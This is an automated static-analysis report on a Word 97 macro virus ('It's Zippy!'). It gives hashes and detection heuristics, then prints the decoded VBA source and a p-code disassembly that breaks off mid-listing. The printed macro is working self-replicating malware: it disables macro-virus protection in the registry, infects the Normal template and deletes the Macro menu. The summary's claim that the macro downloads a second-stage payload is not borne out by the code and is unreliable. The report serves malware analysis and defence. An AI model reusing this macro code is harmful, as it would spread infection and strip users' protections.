Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 96e24dc2f11213a5…

MALICIOUS

Office (OLE)

37.5 KB Created: 1998-12-14 00:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7e2c73145e7ff57af30e37b338898e63 SHA-1: 892fee553e729cfab89a2f36cb4833155f275f0e SHA-256: 96e24dc2f11213a5afbedc2e946fd2066832e530ee6ea82dce2dde61cd700b30
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains critical heuristic firings for OLE VBA macros and AutoOpen/AutoClose functions, indicating malicious intent. The VBA script attempts to export a component to a DLL file and modify registry settings to disable macro virus protection. This suggests the macro is designed to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-13
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7928 bytes
SHA-256: 4fb435c3331ff4e38a0a30bf2c3d3673189b96c97516742fa9a6e379e3bd386e
Detection
ClamAV: Doc.Trojan.Class-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo ldr
Options.VirusProtection = Chr(48): Options.SaveNormalPrompt = Chr(48): Options.ConfirmConversions = Chr(48): vx = 1: xv = 4: x = 0
xrt = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines
xst = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines
If xst > Sgn(x) And xrt > Sgn(x) Then GoTo ldr
If xst = Sgn(x) Then
    Set czy = NormalTemplate.VBProject.VBComponents
    Set hst = ActiveDocument.VBProject.VBComponents
    If Month(Now()) > 1 And Day(Now()) = 15 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "It's Zippy!"
    hst.Item(Cos(Atn(CInt(1)))).Name = czy.Item(Cos(Atn(CInt(1)))).Name
    hst.Item(Cos(Atn(CInt(1)))).Export Windows.Application.Path & Chr(46) + Chr(100) + Chr(108) + Chr(108)
End If
If xrt = Sgn(x) Then Set czy = ActiveDocument.VBProject.VBComponents
czy.Item(Cos(Atn(CInt(1)))).codemodule.AddFromFile Windows.Application.Path & Chr(46) + Chr(100) + Chr(108) + Chr(108)
With czy.Item(Cos(Atn(CInt(1)))).codemodule
    For j = Abs(vx) To Abs(xv)
    .deletelines Abs(vx)
        Next j
End With
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
If xst = Sgn(x) Then CommandBars(Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115)).Controls(Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111)).Delete
If xst = Sgn(x) Then czy.Item(Cos(Atn(CInt(1)))).codemodule.replaceline Abs(vx), "Sub AutoClose()"
If xst = Sgn(x) And xrt = Sgn(x) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ldr:
If xst <> Sgn(x) And xrt = Sgn(x) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'WM97/It's Zippy! by Virus :) Smile


' Processing file: /opt/analyzer/scan_staging/00d70cb4890c47e1b8209ad97fdda76e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3707 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError ldr 
' Line #2:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' 	BoS 0x0000 
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	St vx 
' 	BoS 0x0000 
' 	LitDI2 0x0004 
' 	St xv 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St x 
' Line #3:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St xrt 
' Line #4:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd countoflines 
' 	St xst 
' Line #5:
' 	Ld xst 
' 	Ld x 
' 	FnSgn 
' 	Gt 
' 	Ld xrt 
' 	Ld x 
' 	FnSgn 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo ldr 
' 	EndIf 
' Line #6:
' 	Ld xst 
' 	Ld x 
' 	FnSgn 
' 	Eq 
' 	IfBlock 
' Line #7:
' 	SetStmt 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set czy 
' Line #8:
' 	SetStmt 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	Set hst 
' Line #9:
' 	ArgsLd Now 0x0000 
' 	ArgsLd Month 0x0001 
' 	LitDI2 0x0001 
' 	Gt 
' 	ArgsLd Now 0x0000 
' 	ArgsLd Day 0x0001 
' 	LitDI2 0x000F 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x000B "It's Zippy!"
' 	LitStr 0x0000 ""
' 	LitStr 0x0021 "HKEY_CLASSES_ROOT\Word.Document.8"
' 	LitStr 0x0000 ""
' 	Ld System 
' 	ArgsMe
... (truncated)

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